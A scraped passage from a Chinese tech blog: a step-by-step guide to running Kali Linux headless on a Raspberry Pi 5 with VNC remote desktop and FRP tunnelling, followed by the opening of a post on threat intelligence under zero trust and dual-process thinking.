。在Windows下可新建一个文本文件并命名为“ssh”（确保无.txt后缀）。在Linux/macOS下可以执行命令（假设boot挂载在 /mnt/boot）：\n# 在boot分区创建空的ssh文件以启用SSH sudo touch /mnt/boot/ssh 配置 Wi-Fi： 如果需要让树莓派通过Wi-Fi联网，在 boot 分区根目录创建一个 wpa_supplicant.conf 文件，并填入无线网络配置。文件内容格式如下（请根据实际Wi-Fi信息修改）：\nctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1 country=CN # 将CN改为你的国家代码，如 US, UK 等 network={ ssid=\"Your_WiFi_SSID\" # Wi-Fi 名称 psk=\"Your_WiFi_Password\" # Wi-Fi 密码 key_mgmt=WPA-PSK # 加密类型，WPA2 常用 WPA-PSK } 将上述内容中的 Your_WiFi_SSID 和 Your_WiFi_Password 替换为实际的无线网络名称和密码。保存时注意确保文件名为 wpa_supplicant.conf（不要有.txt扩展名）。Kali 在引导时通常会将此配置文件移动到 /etc/wpa_supplicant/ 并用于连接 Wi-Fi。\n完成以上步骤后，弹出并取出 TF 卡。将卡插入树莓派 5，连接电源开机。等待约1-2分钟让系统完成首次启动配置。\n同时这里建议，在自己的路由器中，完成DHCP静态IP分配。\n4. 首次启动与 SSH 远程登录 Kali 树莓派加电启动后，会依据上一步配置尝试连接 Wi-Fi 并启用 SSH 服务。接下来，我们需要在另一台电脑上通过SSH登录进树莓派的 Kali 系统：\n查找树莓派 IP 地址： 无显示屏环境下获取设备 IP 是首要挑战。你可以登录路由器的管理界面查询新连接的设备（根据主机名 kali-pi 或查看新增的 DHCP 列表），或者使用局域网扫描工具如 nmap 扫描网段以找到开放的22端口的主机 。另一个方法是使用 mDNS 主机名（如果网络支持），尝试直接 SSH 连接 kali-pi.local（前提是网络内DNS解析或电脑安装了 Bonjour 服务）。\n使用SSH连接： 在终端或命令提示符执行（将 替换为实际树莓派IP地址）：\nssh kali@\u003cIP\u003e 如果使用了我们预设的用户名/密码（或 Kali 默认 kali/kali），会提示输入密码进行登录 。首次连接需接受主机密钥。\n更换密码： 初次登录后，出于安全考虑请及时修改默认账户的密码：\nsudo passwd kali 按提示输入新密码。 至此，你已经通过SSH成功登录到了树莓派上的 Kali 系统。接下来可以进行系统配置和软件安装。\n提示： 如果此时无法SSH连接树莓派，请参考文末常见问题排查章节。常见原因包括SSH未成功启用、Wi-Fi未连接等，可通过有线网络连接或重新配置上述文件进行修复。\n5. 更换软件源为国内镜像 (提高更新速度) Kali Linux 默认软件源在国外服务器，在国内直接更新可能较慢甚至失败。我们可以将软件源切换为国内镜像源（如清华大学开源镜像站）以提升速度 。操作步骤：\n备份源列表： 编辑源列表文件前，建议备份原文件：\nsudo cp /etc/apt/sources.list /etc/apt/sources.list.bak 编辑 /etc/apt/sources.list： 使用 vim、nano 等编辑器打开该文件，注释掉原有的官方源行，在文件顶部添加国内源地址。例如添加清华大学的 Kali 镜像源：\nsudo nano /etc/apt/sources.list # 中科大源、阿里源等亦可使用，这里以清华TUNA源为例 # 清华大学 Kali 镜像源 deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware 上述两行分别指定了二进制软件包源和源码源的地址。其中 kali-rolling 是 Kali 的滚动更新分支，包含 main（主）、contrib（贡献）、non-free（非自由）及 non-free-firmware（非自由固件）组件。确保根据实际需要包含所有组件，以免缺少驱动或工具。\n更新 APT 密钥（若有需要）： 如果更换源后运行更新出现 公钥无效 等错误，可执行以下命令导入 Kali 官方仓库公钥\nsudo wget -q -O - https://archive.kali.org/archive-key.asc | sudo apt-key add - 然后重新运行更新命令，修改完成后保存退出编辑器。\n6. 更新系统并升级软件包 更换源后，首先执行系统更新，确保安装最新补丁和索引：\n# 更新软件包索引 sudo apt update -y # 升级已安装的软件包 sudo apt -y full-upgrade -y 上述命令将刷新APT包列表并应用所有可用升级。 在 Kali (Debian) 中，建议使用 full-upgrade（或 dist-upgrade）以处理可能的依赖变更。过程可能需要一些时间，尤其如果镜像版本不是最新。耐心等待完成，期间如果遇到提示，可按 Y 确认或 q 跳过查看更详细信息。\n系统升级完毕后，建议重启一次树莓派（sudo reboot），以确保内核等更新生效。重启后重新通过SSH登录继续后续步骤。\n7. 安装 kali-linux-everything 工具集 Kali Linux 提供了多个工具集元包，其中 kali-linux-everything 包含了 Kali 下“几乎所有”工具。 在有足够存储空间和带宽的情况下，我们可以一键安装这个工具集，以便在树莓派上具备完整的渗透测试工具\nsudo apt install -y kali-linux-everything 版本名称 简要说明 使用场景 Installer / Default 标准安装版，仅含基础系统和常用渗透测试工具 通用渗透测试环境，适合联网更新 Live ISO 可启动运行，无需安装（含 GUI 与部分工具） 临时测试、U盘随身系统、取证 Netinst 最小化安装，需联网拉取组件 高度定制化安装，适合轻量虚拟机或自动部署 Large 包含绝大多数主流 Kali 工具的安装包 渗透测试者常用，部署后几乎无需额外安装 Everything 包含 Kali 仓库中所有工具，安装镜像达 20GB+ 离线环境部署、大型靶场、完全工具链准备 功能模块 Default/Installer Large Everything kali-linux-default 工具集 ✅ ✅ ✅ top10, wireless, web等分类工具 ⛔️（手动安装） ✅（包含多数） ✅（全部） 所有 Kali 元包（metapackage） ⛔️ 部分 ✅ 全部 工具总数（粗略估计） 100–200 300–400 600+ 该命令可能下载数GB的数据（完整安装体积可能超过20GB），请确保网络稳定且TF卡剩余空间充足（安装64GB或更大容量卡的原因所在）。根据网络速度，此过程可能持续较长时间。安装过程中APT会自动处理依赖关系并配置软件，如有交互提示，按默认或根据需要选择。\n完成后，树莓派上的 Kali 将拥有完整的工具集，为各种安全测试做好准备。\n8. 配置图形界面和 VNC 服务 (远程桌面) 在无显示屏情况下，我们仍可能需要使用 Kali 的图形桌面（XFCE）运行某些工具或获取完整桌面体验。为此，我们将配置系统在引导时启动图形界面，并通过 VNC 实现远程桌面访问。\n8.1 设置默认启动进入图形界面 Kali Linux 树莓派镜像默认可能启动到文本控制台以节省资源。若希望系统启动后即进入 XFCE 桌面环境，我们需要调整系统target为图形模式：\n# 将系统默认运行级别设置为图形界面 sudo systemctl set-default graphical.target 执行上述命令后，系统默认将尝试启动显示管理器 (例如 LightDM) 进入图形界面。由于我们是无头环境，如果树莓派未连接显示器，默认情况下 X 服务器可能无法实际显示界面。不过我们仍可通过 VNC 来创建虚拟显示。\n注意： 如果树莓派始终无物理显示器，graphical.target 虽会启动桌面服务，但没有HDMI连接时可能不会创建默认 :0 显示输出。后续我们通过 VNC 虚拟桌面解决这一问题。如果将来需要连接显示器进行本地操作，可保持该设置方便直接进入桌面。\n8.2 安装 TigerVNC 服务 TigerVNC 是性能良好的 VNC 服务器实现。我们选择它来在树莓派上运行虚拟桌面会话。安装命令：\nsudo apt install -y xfce4 xfce4-goodies tigervnc-standalone-server tigervnc-common autocutsel tigervnc-standalone-server 安装 TigerVNC 服务端程序。 tigervnc-common 提供相关的常用文件。 autocutsel 工具用于在 VNC会话与本地剪贴板之间同步剪贴板（复制/粘贴） 安装完成后，设置 VNC 访问密码并初始化配置：\n# 切换到普通用户 (如果当前是 root 登录，请切回 kali 用户) exit # 确保在 kali 用户下操作 # 设置 VNC 密码（会提示输入密码并确认） vncpasswd # 初次启动 VNC 服务（生成配置文件并创建 VNC 会话 :1） vncserver :1 首次运行vncserver :1时，它会要求设置访问密码（长度不超过8位），并可选设置“只读”密码（这里选择 n，无需只读密码) 。随后会输出类似信息，表示启动了编号:1的 VNC桌面（对应TCP端口5901）\n因为VNC服务启动在5900端口，而我们需要为桌面环境新建一个端口，这里1就是+1，即在5901端口，如果是vncserver :2 就是5902端口，依次类推。\nNew 'X' desktop is kali:1 Creating default startup script /home/kali/.vnc/xstartup Starting applications specified in /home/kali/.vnc/xstartup Log file is /home/kali/.vnc/kali:1.log 这表示 TigerVNC 已在后台启动了一个虚拟桌面会话。默认情况下，这个虚拟桌面可能仅有一个灰色背景和X终端（或可能因为尚未正确配置而退出）。接下来我们进行配置以启动 XFCE 桌面环境。\n停止刚才启动的 VNC 会话：\nvncserver -kill :1 这将终止会话，以便我们编辑配置文件后重新启动。\n8.3 配置 VNC 的 XFCE 桌面会话 TigerVNC（以及 TightVNC）默认的启动脚本位于 ~/.vnc/xstartup，首次运行时已生成。我们需要修改它以启动 XFCE4 桌面环境，否则 VNC 连接后可能只看到灰色屏幕和X光标。编辑文件：\nsudo nano ~/.vnc/xstartup 将其中内容替换为以下内容：\n#!/bin/sh unset SESSION_MANAGER unset DBUS_SESSION_BUS_ADDRESS startxfce4 \u0026 # 启动 XFCE4 桌面会话 autocutsel -fork # 启动剪贴板同步 上述配置确保每次 VNC 虚拟会话启动时，清除可能的残留会话环境变量，然后后台启动 XFCE4桌面，并运行 autocutsel 以支持剪贴板共享。 保存文件后退出编辑器。\n赋予 xstartup 脚本可执行权限：\nsudo chmod +x ~/.vnc/xstartup 注意： xstartup 文件权限必须是可执行，否则 TigerVNC 将忽略它，导致无法启动 XFCE 桌面\n8.4 手动测试 VNC 连接 现在手动启动 VNC 服务，测试能否通过远程桌面访问：\n# 再次启动一个 VNC 会话 :1 vncserver :1 -geometry 1280x800 -depth 24 这里指定了分辨率为1280x800，色深24位。你可以根据需要调整 -geometry 参数设置合适的虚拟屏幕分辨率（常见如 1920x1080 、2560×1440等）\n启动成功后，在你的PC上使用 VNC Viewer（如 TigerVNC Viewer、RealVNC Viewer 等），连接树莓派的IP和端口好，例如：\n192.168.1.25:5901 当出现密码提示时，输入之前设置的 VNC 密码，即可看到 Kali XFCE 桌面环境的画面。此时，你已经在无显示器的树莓派上远程使用图形界面了\n如果连接后出现灰屏或黑屏，可能是 xstartup 配置有误或未赋予可执行权限，请返回检查 ~/.vnc/xstartup 内容是否与上文一致且可执行。另外，确保前一步已经先 vncserver -kill 再编辑再启动，否则旧实例不会读取新配置。\nvncserver -kill :1 8.5 设置 VNC 服务开机自启 为了在树莓派每次启动时自动开启 VNC 服务（无需手动命令），我们可以设置 systemd 服务来管理 VNC Server。在 Kali 上创建一个新的 systemd 单元文件：\nsudo nano /etc/systemd/system/vncserver@.service 填入以下内容并保存：\n[Unit] Description=Start TightVNC (TigerVNC) server at startup After=syslog.target network.target [Service] Type=forking User=bluedog Group=bluedog WorkingDirectory=/home/bluedog PIDFile=/home/bluedog/.vnc/%H:%i.pid ExecStartPre=-/usr/bin/vncserver -kill :%i \u003e /dev/null 2\u003e\u00261 ExecStart=/usr/bin/vncserver -depth 24 -geometry 1920x1080 :%i ExecStop=/usr/bin/vncserver -kill :%i [Install] WantedBy=multi-user.target 以上配置中，用 %i 代表实例号，例如 vncserver@1.service 将 %i 替换为 1，从而启动 :1 会话 。我们设置服务以 kali 用户身份运行，在启动前尝试杀掉残留的 :1 实例，启动时设定分辨率为 1920x1080、色深24位，可根据需要修改。\n保存文件后，刷新 systemd 配置并启动、启用服务：\nsudo systemctl daemon-reload sudo systemctl start vncserver@1.service # 启动 VNC服务实例 :1 sudo systemctl enable vncserver@1.service # 设置开机自启 现在即使树莓派重启，系统启动过程中也会自动开启 VNC 服务，使你随时可以远程连接桌面。\n提示： 默认 VNC 服务监听本地所有接口的 5901 端口，仅在局域网内访问。如果需要通过互联网访问，建议结合下面的 FRP 内网穿透配置，或确保网络环境安全并设置复杂的VNC密码。\n动态调整vnc的分辨率 默认vnc的客户端不支持动态调整vnc的分辨率适应客户端的屏幕大小。但是可以手动修改。\nxrandr 并且会显示当前支持分辨率。\nxrandr --output VNC-0 --mode 2560x1440 执行后就会调整当前vnc窗口的大小为对应分辨率。\n9. 配置 FRP 实现远程访问 (内网穿透) 在许多实际场景中，树莓派可能位于内网或没有公网IP，无法直接通过互联网连接。我们可以使用 FRP 实现内网穿透，将树莓派的SSH和VNC服务映射到公网服务器，从而随时远程访问树莓派。\nFRP (Fast Reverse Proxy) 由客户端和服务端组成：\nFRP服务端 (frps) 部署在具有公网IP或云服务器上，监听来自客户端的连接并开放端口供远程访问。 FRP客户端 (frpc) 部署在树莓派等内网设备上，主动连接 FRP 服务端并将本地服务端口映射出去。 下面假设你已有一台具有固定公网IP或域名的服务器可用来充当 FRP 服务端（或使用某云服务器）。我们将使用该服务器做中转，将树莓派的SSH及VNC端口映射出去。\n9.1 在服务端配置 FRP 服务 (frps) （如果已有 FRP 服务端运行，可跳过此节。）在云服务器上：\n下载 frp： 从 FRP 官方仓库获取最新版本。可以通过浏览 https://github.com/fatedier/frp/releases 找到最新版本下载链接。例如，这里假设最新版本为v0.61.0，对应 Linux amd64 平台：\nwget https://github.com/fatedier/frp/releases/download/v0.61.0/frp_0.61.0_linux_amd64.tar.gz tar -xzf frp_0.61.0_linux_amd64.tar.gz cd frp_0.61.0_linux_amd64 配置 frps： 在解压目录下找到 frps.toml（如果不存在就创建）。写入如下配置：\n######################################## # Fast Reverse Proxy Server (frps) # # 位置：阿里云 ECS 4*.**.**.**0 # ######################################## # [common] # ───────── 基础监听 ───────── bindAddr = \"0.0.0.0\" # 监听所有 IPv4（需要 IPv6 可改 \":::\") bindPort = 7501 # frpc 侧的 serverPort 必须一致，且需要在云服务器上开启对应端口 # ───────── 认证令牌 ───────── auth.token = \"请设置为自己的口令\" # 客户端 auth.token 必须保持相同 # ───────── 域名转发端口 ───── # 暂未启用域名解析，直接关闭 80/443，避免多开端口 # vhostHTTPPort = 0 # vhostHTTPSPort = 0 # ───────── 日志配置 ───────── # logFile = \"/root/frp/frps.log\" # 自定义日志路径 # logLevel = \"info\" # 可选：trace, debug, info, warn, error # logMaxDays = 7 # 日志保留天数 # ───────── 可选：仪表盘 ───── # dashboardPort = 7501 # Web UI 端口 # dashboardUser = \"请设置为自己的用户名\" # dashboardPwd = \"请设置为自己的密码\" # ───────── 可选：TLS 加固 ──── # 如果需要 mTLS，可启用： # authenticationMethod = \"token,tls\" # tlsOnly = true # 证书相关字段参见官方示例 subdomainHost = \"如有请设置为自己的域名\" 启动 frps： 可以直接在前台运行： sudo ./frps -c ./frps/frps.toml 或将其作为后台服务运行：\nnohup ./frps -c ./frps/frps.toml \u0026\u003e/var/log/frps.log \u0026 确保服务器的防火墙开放所需端口（例如 TCP 7000，以及待映射出去的端口，如SSH的6000、VNC的6001等）。\n配置 frps 开机自启： 新建 systemd 服务 /etc/systemd/system/frps.service，写入以下内容：\n[Unit] Description=Fast Reverse Proxy Server (frps) After=network.target [Service] Type=simple ExecStart=/root/frp/frps -c /root/frp/frps.toml #注意自己的路径！ Restart=on-failure LimitNOFILE=65535 [Install] WantedBy=multi-user.target 保存后启用服务：\nsudo systemctl daemon-reload sudo systemctl enable frps sudo systemctl start frps 9.2 在树莓派配置 FRP 客户端 (frpc) 回到我们的 Kali 树莓派：\n下载 frpc： 根据树莓派架构下载 FRP 客户端的 Linux ARM64 版本。版本需与服务端一致 cd /tmp wget https://github.com/fatedier/frp/releases/download/v0.61.0/frp_0.61.0_linux_arm64.tar.gz tar xzf frp_0.61.0_linux_arm64.tar.gz cd frp_0.61.0_linux_arm64 sudo cp frpc /usr/bin/ # 安装frpc可执行文件到路径 sudo cp frpc.toml /etc/frpc/frpc.toml # 复制默认配置文件到 /etc 上述以v0.61.0为例，请替换为实际最新版号。 解压后我们将 frpc 可执行文件放入 /usr/bin，方便直接运行；将示例配置重命名放入 /etc 便于统一管理。\n配置 frpc： 编辑 /etc/frpc/frpc.toml 文件，根据实际需求修改。如我们希望将树莓派的 SSH (22端口) 和 VNC (5901端口) 映射到服务器对应端口，对应配置可以如下：\n############################################################################### # Fast Reverse Proxy Client (frpc) # 主机：Raspberry Pi Kali — 192.168.**.**(请切换为你自己的IP地址) ############################################################################### ############################# # frps 连接信息 ############################# serverAddr = \"4*.**.**.**0\" # 阿里云公网 IP serverPort = 7501 # frps.bindPort loginFailExit = false # 断线不退出，持续重连 [auth] method = \"token\" token = \"请设置为自己的口令\" # 与 frps.token 保持一致 ############################# # 端口映射（TCP） ############################# [[proxies]] # SSH name = \"kalissh\" type = \"tcp\" localIP = \"192.168.**.**\" localPort = 22 remotePort = 5022 # 已在 frps.allowPorts \u0026 安全组开放 [[proxies]] # VNC name = \"kalivnc\" type = \"tcp\" localIP = \"127.0.0.1\"（这里必须使用回环地址！！！） localPort = 5901 remotePort = 5901 # 已在 frps.allowPorts \u0026 安全组开放 在 [common] 部分填入FRP服务端地址、端口和认证token等公共参数 。然后定义两个隧道：[ssh] 和 [vnc]，分别将本地的 SSH 服务(192.168.*0.**:22)和 VNC 服务(127.0.0.1:5901)通过 FRP 暴露出去。其中 remote_port 指定 FRP 服务端开启的端口号，你可根据需要更改，但要与服务端防火墙配置对应。\n配置 frpc 开机自启： 新建 systemd 服务 /etc/systemd/system/frpc.service，写入以下内容： [Unit] Description=Fast Reverse Proxy Client (frpc) After=network.target Wants=network-online.target [Service] Type=simple ExecStart=/home/username/frp/frpc -c /home/username/frp/frpc.toml #注意自己的路径！ Restart=always RestartSec=3 LimitNOFILE=1048576 [Install] WantedBy=multi-user.target 保存后启用服务：\nsudo systemctl daemon-reload sudo systemctl enable frpc sudo systemctl start frpc 这样树莓派启动时将自动运行 frpc，并在网络就绪后连接到 FRP 服务器。\n验证连接： 在树莓派上运行 sudo systemctl status frpc 查看日志，确认已成功连上服务端，没有错误。如有问题，可检查 /var/log/syslog 或 /var/log/frpc.log（如果设置了日志输出）。 在服务器上，也可以检查 frps 日志或使用 ss -tnl 确认对应端口已在监听。\n远程访问： 现在，在任何网络环境下，你都可以通过访问FRP服务器的IP/域名+端口来管理树莓派： SSH 访问：ssh kali@\u003c服务器IP\u003e -p 6000 （通过FRP的5022端口转发到树莓派的22端口）。首次使用时可将此组合加入 ~/.ssh/config 便于快捷连接 。 VNC 访问：在 VNC Viewer 中连接 \u003c服务器IP\u003e:6001，即通过FRP服务器的6001端口转发到树莓派的5901。输入之前设置的VNC密码，即可远程桌面控制树莓派。 经过 FRP，中间通信会通过我们指定的token验证和（若启用了TLS则）加密传输，确保了一定安全性。为了更安全，建议SSH采用密钥认证并禁用密码登录 等额外加固措施。\n现在，无论树莓派位于何处（哪怕在蜂窝网络等受NAT限制的环境），只要 FRP 客户端和服务器保持连接，我们就能随时通过 FRP 隧道远程SSH或VNC访问树莓派上的 Kali 系统了。\n10.其他软件和折腾 10.1 登陆欢迎界面定制 组件 作用 /etc/update-motd.d/* 一系列可执行脚本，按数字前缀从小到大依次运行，将输出拼接生成 动态 MOTD。 /etc/motd 静态 MOTD 文本。若存在内容，将附加在动态 MOTD 之后。 pam_lastlog.so 由 PAM 调用，自动输出 Last login 记录。 /etc/issue.net + Banner 指令 SSH 会话横幅。可复用 ASCII Banner，实现本地/远程一致。 文件结构与执行顺序\n/etc/update-motd.d/ ├── 00-header # ASCII Banner ├── 10-sysinfo # 系统状态 └── 20-network # 网络信息 数字前缀决定执行先后；输出顺序即显示顺序。\n制作 ASCII Banner 在线生成\n打开 https://patorjk.com/software/taag 输入 BlueDog → 选择字体（如 ANSI Shadow）→ Copy 本地生成\nfiglet -f slant \"BlueDog\" toilet -f big -F metal \"BlueDog\" 将生成的字符画复制备用。\n编写 00-header sudo tee /etc/update-motd.d/00-header \u003e/dev/null \u003c\u003c'EOF' #!/bin/bash clear # 防止上屏残留 # ---------------- ASCII Banner ----------------- cat \u003c\u003c'BANNER' ,---,. ,--, ,---, ,' .' \\ ,--.'| .' .' `\\ ,---.' .' | | | : ,--, ,---.' \\ ,---. | | |: | : : ' ,'_ /| | | .`\\ | ' ,'\\ ,----._,. : : : / | ' | .--. | | : ,---. : : | ' | / / | / / ' / : | ; ' | | ,'_ /| : . | / \\ | ' ' ; : . ; ,. : | : | | : \\ | | : | ' | | . . / / | ' | ; . | ' | |: : | | .\\ . | | . | ' : |__ | | ' | | | . ' / | | | : | ' ' | .; : . ; '; | ' : '; | | | '.'| : | : ; ; | ' ; /| ' : | / ; | : | ' . . | | | | ; ; : ; ' : `--' \\ ' | / | | | '` ,/ \\ \\ / `---`-'| | | : / | , / : , .-./ | : | ; : .' `----' .'__/\\_: | | | ,' ---`-' `--`----' \\ \\ / | ,.' | : : `----' `----' '---' \\ \\ / `--`-' BANNER echo \"-------------------------------------------------------------------------------------\" EOF sudo chmod +x /etc/update-motd.d/00-header 编写 10-sysinfo sudo tee /etc/update-motd.d/10-sysinfo \u003e/dev/null \u003c\u003c'EOF' #!/bin/bash OS=\"$(lsb_release -ds)\" KERNEL=\"$(uname -r)\" MEM_USED=\"$(free -h --si | awk 'NR==2 {print $3 \"/\" $2}')\" DISK_ROOT=\"$(df -h / | awk 'NR==2 {print $3 \"/\" $2 \" (\" $5 \")\"}')\" CPU_TEMP=\"$(vcgencmd measure_temp | cut -d= -f2)\" printf \"🖥 系统: %s | 内核: %s\\n\" \"$OS\" \"$KERNEL\" printf \"💾 内存: %s\\n\" \"$MEM_USED\" printf \"📦 磁盘: %s\\n\" \"$DISK_ROOT\" printf \"🌡 温度: %s\\n\" \"$CPU_TEMP\" echo \"-------------------------------------------------------------------------------------\" EOF sudo chmod +x /etc/update-motd.d/10-sysinfo 编写 20-network sudo tee /etc/update-motd.d/20-network \u003e/dev/null \u003c\u003c'EOF' #!/bin/bash IP=$(hostname -I | awk '{print $1}') SSID=$(iwgetid -r 2\u003e/dev/null || echo \"离线\") printf \"🌐 IP 地址: %s\\n\" \"$IP\" printf \"📶 Wi-Fi SSID: %s\\n\" \"$SSID\" echo \"-------------------------------------------------------------------------------------\" EOF sudo chmod +x /etc/update-motd.d/20-network 清空默认 /etc/motd sudo mv /etc/motd /etc/motd.bak # 备份 sudo touch /etc/motd # 创建空文件 这样保留 Last login，去除 GPL/Warranty 说明。\nSSH 横幅同步（可选） sudo cp /etc/update-motd.d/00-header /etc/issue.net sudo sed -i 's@^#Banner none@Banner /etc/issue.net@' /etc/ssh/sshd_config sudo systemctl restart ssh 10.2 风扇\u0026变速调控 首先树莓派5度风扇调度是65度才开始转的，没有安装任务和大模型任务的时候基本不转。\n并且因为 gpiozero + RPi.GPIO 尚未全面支持树莓派 5，因此会在访问 GPIO 时爆出错误\n所以我们只能通过 config.txt 中的参数启用 RP1 控制器的风扇自动调速功能，原生支持 1~3 个温控档位（温度触发 + PWM 占空比组合）。\n多档温控风扇配置方法（config.txt）\n需要在 /boot/firmware/config.txt（树莓派 5 使用的是该路径）中添加如下配置：\n# 树莓派 5 风扇三档自动调速配置 dtparam=cooling_fan=on # 档位1：40°C 开始，风扇以 60% 速运行（153/255） dtparam=fan_temp1=40000,fan_temp1_hyst=5000,fan_temp1_speed=153 # 档位2：50°C 开始，风扇以 80% 速运行（204/255） dtparam=fan_temp2=50000,fan_temp2_hyst=5000,fan_temp2_speed=204 # 档位3：55°C 开始，风扇全速运行（255/255） dtparam=fan_temp3=55000,fan_temp3_hyst=5000,fan_temp3_speed=255 核心机制为：当 CPU 温度超过某一档的温度门槛，就切换到对应速度，不会回落到低档位，直到温度低到对应滞后门限。\n可额外设置滞后参数（建议设置）：\ndtparam=fan_temp3_hyst=5000 # 第三档降到 50°C 才停 10.3 Wi-Fi 多网络自动切换设置（家用 + 手机热点） Kali 默认使用 wpa_supplicant 管理 Wi-Fi。\n编辑 Wi-Fi 配置文件： sudo nano /etc/wpa_supplicant/wpa_supplicant.conf 添加两个网络（按优先级自动切换）：\nctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1 country=CN network={ ssid=\"你的家庭WiFi\" psk=\"你的家庭密码\" priority=10 } network={ ssid=\"你的手机热点\" psk=\"你的热点密码\" priority=5 } priority 数值越大，优先连接； 自动连接在可用场景中优选上面的 Wi-Fi。 保存后重启网络服务或直接重启：\nsudo wpa_cli -i wlan0 reconfigure 10.4 安装输入法 安装Google拼音以及Fcitx\nsudo apt install fcitx fcitx-googlepinyin 切换输入法框架\nim-config 按照输入法完成后一定要重启系统才能生效．\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E6%A0%91%E8%8E%93%E6%B4%BE%E5%88%B7kali%E5%85%A8%E9%85%8D%E7%BD%AE%E8%BF%87%E7%A8%8B/","summary":"本指南详细介绍如何在树莓派 5上以无显示屏 (headless) 方式部署 Kali Linux (XFCE 桌面环境)，并使用 FRP (Fast Reverse Proxy) 实现远程访问。内容涵…","tags":["技术实践","网络工具","实操指南"],"title":"树莓派刷Kali全配置过程","unix":1752112800,"year":"2025"},{"date":"2025-06-18","dateISO":"2025-06-18","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/ai%E6%97%B6%E4%BB%A3%E4%B8%AD%E4%BB%A5%E9%9B%B6%E4%BF%A1%E4%BB%BB%E8%A7%86%E8%A7%92%E7%9C%8B%E5%BE%85%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5%E9%87%8D%E6%9E%84/","plain":"随着人工智能（AI）技术的迅猛发展和零信任架构理念的普及，网络安全领域正在经历深刻变革。在AI 驱动时代，我们需要重新审视传统的威胁情报体系：如何在“零信任”的视角下，重构威胁情报的认知结构、策略逻辑与实战流程。本文将结合笔者最近阅读的《情报分析—结构化分析方法》一书中的方法论，通过结构化分析的思维方式来探讨这一重构过程。\n文章将以威胁情报生命周期的五个阶段为主线，嵌入系统一/系统二思维模型的反思，剖析当前威胁情报在零信任架构与 AI 决策支持中的不足，并结合实际案例引入多种结构化分析方法（如问题再定义、时间线分析、竞争性假设分析、事前分析、红队分析、决策矩阵等），以提供专业清晰的策略视角。最后，我们还将讨论结构化分析与安全自动化（AI、SOAR、模型辅助决策）之间的关系，展望未来人机协同增强的情报分析新方向。1\n系统一与系统二思维：从直觉到结构化分析 心理学家丹尼尔·卡尼曼的“双系统”理论将人类认知分为两种模式：系统一思维和系统二思维 。系统一指快速、直观、自动化的思维方式，它基于经验和模式识别，让我们几乎不假思索地做出判断。然而，系统一虽然高效，却容易受到各种认知偏见的影响，例如过度自信、锚定效应、确认偏误等，这些偏见往往导致分析错误 。相反，系统二思维是缓慢、刻意、逻辑推理驱动的，包括了有意识的分析过程和基于证据的推断方法 。系统二需要投入更多注意力和努力，但能够对信息进行更严格的审视和推理。在情报分析领域，结构化分析方法正是促使分析师摆脱系统一惯性、充分调动系统二思维的有力工具 。\n下表为系统一和系统二更为详尽的区别（来源于Wiki）\n系统一 系统二 潜意识的推理(直觉、创造力、潜意识) 有意识的推理(审议推理） 多为非自愿 多为自愿的 多与情绪有关(“直觉”) 多与情绪无关 隐性 显性 自动化的 受控的 不太需要努力 需要努力 高容量 低容量 快 慢 默认过程(被系统二抑制，高度专注) 抑制性（清晰思维、沉思所抑制） 关联 (A↔B) 蕴含 (A→B) 情境化 抽象化 领域特定性 领域一般性 主观，基于价值观 客观，基于事实/规则 较早演化出来 较晚演化出来 非言语的 大多数人与语言或图像相关（言语、视觉空间的智慧） 包括辨识、知觉、定向 包括遵循规则、比较、权衡选择 模组化认知 流体智力 独立于工作记忆 受工作记忆容量限制 隐性的记忆和学习 显性的记忆和学习，工作记忆 直觉的、创造性的 逻辑的、理性的 隐喻的，象征的 文字的、准确的 定性的 定量的 艺术、设计、哲学、人文 自然科学，技术/形式科学（数学、物理学、工程学、程式设计） 领会（Understanding） 理解（Comprehension） 艺术的、富有想象力的（“假使…将会怎么样?”）、哲学的（“为什么?”） 现实的（“什么是？”）、科学的（“如何？”） 白日梦、心不在焉 工作、注意 富有洞察力（顿悟时刻，Aha moment）、激进、新颖 循规蹈矩、 渐进式、重复乏味 平行、同步、非线性 串行、循序、线性 自上而下、整体、宏观 自下而上、基础、细节 眼界、范围、脉络、视角 目的、目标、要求 开放式、适应性强 封闭式、死板 综合和分离 选择性、判别 后设、反射 迭代、递归 生成(建立和分解)并辨识模式、概念和想法。 操作、筛选和使用模式、概念和想法。 处理资料↔讯息。 处理资料→资料和讯息→讯息。 搜索并发现可能性。 检查和执行目标。 同时跨越多个抽象层次工作。 在给定的时间，于单一抽象层次工作。 综合（布鲁姆分类法） 分析（布鲁姆分类法） 直觉（迈尔斯-布里格斯性格分类法） 思维(迈尔斯-布里格斯性格分类法) 本能 专业 “右脑”、“横向思维”、“移情” “左脑”、“垂直思维”、“系统化” 预设模式网络（神经科学） 任务正激活网络（神经科学） 联结主义(认知科学) 计算主义(认知科学) 神经网络 可与数位逻辑相比较. 难以透过测试进行测量。 （请参阅创造力评估。） 不完善地以IQ测验来进行测量。 神经能力基本是固定的，但透过练习可以更好地发挥这种能力。 神经能力（智商）基本是固定的，但可以透过学习和锻炼来更好地发挥这种能力。 自闭症缺陷，亚斯伯格症和学者症候群异常。 智力缺陷（心智迟钝）。 结构化分析通过将内隐的思考过程外化为透明的步骤，帮助情报分析人员以系统化、可重复的方式分解复杂问题、检视证据链，从而降低认知偏见的干扰 。需要强调的是，结构化方法不是要取代直觉判断（系统一在紧急情况下仍有其价值），而是对直觉的校正和补充。在AI时代安全环境高度动态的背景下，单靠直觉式的“快思考”难以应对高级持续性威胁（APT）和复杂内部风险，唯有将人类专家的经验直觉与结构化的深思熟虑相结合，才能构建可靠的威胁情报认知模型。\n零信任架构下威胁情报的现状与不足 “零信任”架构的核心原则是不再默认信任任何网络节点或用户身份，所有访问请求都需经过持续验证。这种安全理念要求安全防护从边界转向微观、持续的信任评估，对威胁情报提出了新的挑战。然而，当前许多组织的威胁情报系统在零信任和AI决策支持方面存在明显不足：\n情报缺乏实时性与上下文融合：零信任环境中，每一次用户行为、每一个设备请求都可能是潜在攻击的一环。传统威胁情报往往侧重于外部IOC（如恶意IP、域名、Hash等）的收集，更新频率有限，难以及时反映最新威胁动向 。当攻击者不断演进策略时，如果情报不能实时融入身份、设备、应用等上下文，就无法支持零信任架构下细粒度的访问决策。 